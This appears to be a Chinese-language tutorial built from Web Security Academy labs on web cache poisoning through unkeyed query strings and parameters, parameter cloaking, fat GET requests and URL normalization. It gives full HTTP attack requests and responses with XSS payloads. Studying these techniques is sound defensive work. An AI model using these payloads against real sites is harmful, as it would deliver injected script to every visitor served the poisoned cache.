網站的大部分輸入來自URL和查詢字串,但是這些請求行通常是快取鍵的一部分,因此一般來說不會用做快取中毒。但有些快取系統會因為一些原因或缺陷,導致可以利用這些地方來做快取中毒。在URL上的快取中毒技巧,常見的有以下幾種:
- unkeyed query string
- unkeyed query parameter
- Cache parameter cloaking
- fat GET request
- Normalized cache keys
unkeyed query string
某些網站上,整個查詢字串被排除在快取鍵之外,可以利用這個特性進行快取投毒,舉例如下
正常行為觀察
假如正常請求如下,返回內容可以看出目標有cache
########### normal requst ###########
GET / HTTP/1.1
...omit...
########### normal response ###########
HTTP/1.1 200 OK
...omit...
Age: 0
X-Cache: miss
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/'/>
...omit...
漏洞測試
由於目標有漏洞,在請求的query增加?a=1,就能成功更新緩存內容。送出後的回應可能會和上個請求一樣,但多試幾次一直到緩存時間結束後。
GET /?a=1 HTTP/1.1
...omit...
如果不想等緩存時間結束就更新緩存內容,可以用cacheburster,例如加上Origin: test,如下
GET /?a=1 HTTP/1.1
Origin: test
...omit...
成功更新緩存後,返回內容多了?a=1
,如下
HTTP/1.1 200 OK
...omit...
Age: 0
X-Cache: miss
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/?a=1'/>
...omit...
現在只要在緩存時間內請求/
,返回內容都是剛剛緩存的/?a=1
,如下
########### normal request ###########
GET / HTTP/1.1
...omit...
########### normal response ###########
HTTP/1.1 200 OK
...omit...
Age: 1
X-Cache: hit
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/?a=1'/>
...omit...
攻擊請求
所以只要在請求的url query增加攻擊語法更新緩存內容,返回內容包含攻擊內容如下
########### attack request ###########
GET /?evil='/><script>alert(1)</script> HTTP/1.1
Origin: test
...omit...
########### attack response ###########
HTTP/1.1 200 OK
...omit...
Age: 0
X-Cache: miss
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/?evil='/><script>alert(1)</script>'/>
...omit...
現在只要在緩存時間內請求/
,返回內容依舊包含之前的攻擊url query
########### attack requst test ###########
GET / HTTP/1.1
Origin: test
...omit...
########### attack response test ###########
HTTP/1.1 200 OK
...omit...
Age: 2
X-Cache: hit
...omit...
<link rel="canonical" href='//ac041f0f1ee0548280324f8300a3002d.web-security-academy.net/?evil='/><script>alert(1)</script>'/>
...omit...
Lab: Web cache poisoning via an unkeyed query string
unkeyed query parameter
有些網站僅排除與後端應用程式無關的特定查詢參數,例如用於分析或投放定向廣告的參數
例如,以下網站的參數utm_content可用做快取投毒攻擊
########### attack request ###########
GET /?utm_content='/><script>alert(1)</script>
...omit...
########### attack response ###########
...omit...
X-Cache: hit
...omit...
<link rel="canonical" href='//ac6c1fcf1f88b0a8808b268c00bf0032.web-security-academy.net/?utm_content='/><script>alert(1)</script>'/>
...omit...
lab: Web cache poisoning via an unkeyed query parameter
Cache parameter cloaking
快取和應用程式之間的任何解析差異,可允許將任意參數隱藏,並用在應用程式邏輯中。
假設cachekey為keyed_param
,請求如下
GET /?keyed_param=abc&excluded_param=123;keyed_param=bad-stuff-here
許多快取會把這個請求看做2個參數
keyed_param=abc
excluded_param=123;keyed_param=bad-stuff-here
但在後端Ruby on Rails 會看到;
並將查詢字串拆分為三個單獨的參數
keyed_param=abc
excluded_param=123
keyed_param=bad-stuff-here
在Ruby on Rails的運算中,重覆參數會取第2個,因此keyed_param=bad-stuff-here
排除在cachekey外,可以利用這個地方快取投毒。
以另一個漏洞網站為例,以下為正常請求
########### normal request ###########
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
...omit...
########### normal response ###########
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Keep-Alive: timeout=0
Cache-Control: max-age=35
Age: 32
X-Cache: hit
Connection: close
Content-Length: 201
const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
setCountryCookie({"country":"United Kingdom"});
分析觀察後發現,callback參數可以用來控制函數,但該參數為cachekey,所以無法快取投毒。但在更進一步研究會發現3個特別的地方:
- 增加重複的
callback
參數,只有最後一個參數會反映在回應中 - 支援
utm_content
參數,屬於uncachekey - 使用
;
將另一個參數附加到utm_content
,則快取會將其視為單一參數,而且同屬於uncachekey
合併這3點,可以使用;
將第二個callback
參數附加到utm_content
參數中,它不屬於cachekey,並且仍然會覆寫回應中的函數,如下
######## request ########
GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=arbitraryFunction
######## response ########
HTTP/1.1 200 OK
X-Cache-Key: /js/geolocate.js?callback=setCountryCookie
…
arbitraryFunction({"country" : "United Kingdom"})
根據這些特性,只要在最後callback參數加入攻擊語法,就可以製做快取投毒攻擊,如下
######## attack request ########
GET /js/geolocate.js?callback=setCountryCookie&utm_content=foo;callback=alert(1) HTTP/1.1
...omit...
######## attack response ########
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Connection: close
Cache-Control: max-age=35
Age: 0
X-Cache: miss
Content-Length: 193
const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)({"country":"United Kingdom"});
現在只要在緩存時間中,請求GET /js/geolocate.js?callback=setCountryCookie
都會得到快取中毒的返回內容
Lab: Parameter cloaking
fat GET request
如果HTTP方法沒有被做為cachekey,可能允許使用這個方法,在請求內容中加入第2個同名參數,舉例如下
假設正常請求如下
######## normal request ########
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
...omit...
######## normal response ########
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Keep-Alive: timeout=0
Cache-Control: max-age=35
Age: 3
X-Cache: hit
Connection: close
Content-Length: 201
const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
setCountryCookie({"country":"United Kingdom"});
因為網站有漏洞,所以請求內容中放入第2個callback,返回內容會顯示第2個的結果,如下
######## attack request ########
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
...omit...
callback=alert(1)
######## attack response ########
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Connection: close
Cache-Control: max-age=35
Age: 0
X-Cache: miss
Content-Length: 197
const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)
({"country":"United Kingdom"});
一旦cache中毒後,在快取時間內,只要用正常方式請求,都會拿到中毒緩存,如下
######## normal request ########
GET /js/geolocate.js?callback=setCountryCookie HTTP/1.1
...omit...
######## poison response ########
HTTP/1.1 200 OK
Content-Type: application/javascript; charset=utf-8
Connection: close
Cache-Control: max-age=35
Age: 2
X-Cache: hit
Content-Length: 197
const setCountryCookie = (country) => { document.cookie = 'country=' + country; };
const setLangCookie = (lang) => { document.cookie = 'lang=' + lang; };
alert(1)
({"country":"United Kingdom"});
Lab: Web cache poisoning via a fat GET request
Normalized cache keys
如果URL無法執行攻擊代碼,可讓快取執行攻擊代碼
舉例如下,隨便查詢一個不存在的網址,正常情況下會返回找不到
######## request ########
GET /random HTTP/1.1
Host: ac191f8c1f64ab9780f91953005800bb.web-security-academy.net
...omit...
######## response ########
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=10
Age: 0
X-Cache:miss
X-XSS-Protection: 0
Content-Length: 50
<p>Not Found: /random</p>
假如目標剛好有漏洞,可以對目標做快取中毒,把xss放進快取中
######## attack request ########
GET /random</p><script>alert(1)</script><p>foo HTTP/1.1
Host: ac191f8c1f64ab9780f91953005800bb.web-security-academy.net
...omit...
######## attack response ########
HTTP/1.1 404 Not Found
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=10
Age: 0
X-Cache:miss
X-XSS-Protection: 0
Content-Length: 60
<p>Not Found: /random</p><script>alert(1)</script><p>foo</p>
上述的攻擊URL,/random</p><script>alert(1)</script><p>foo
因為被urlencode編碼,因此該攻擊代碼不會執行。但是緩存顯示時會將這段做urlencode解碼,因此可利用緩存執行該攻擊代碼。
只要將該網址提給受害者,對方點擊後便會看到緩存內容,然後顯示攻擊代碼
Lab: URL normalization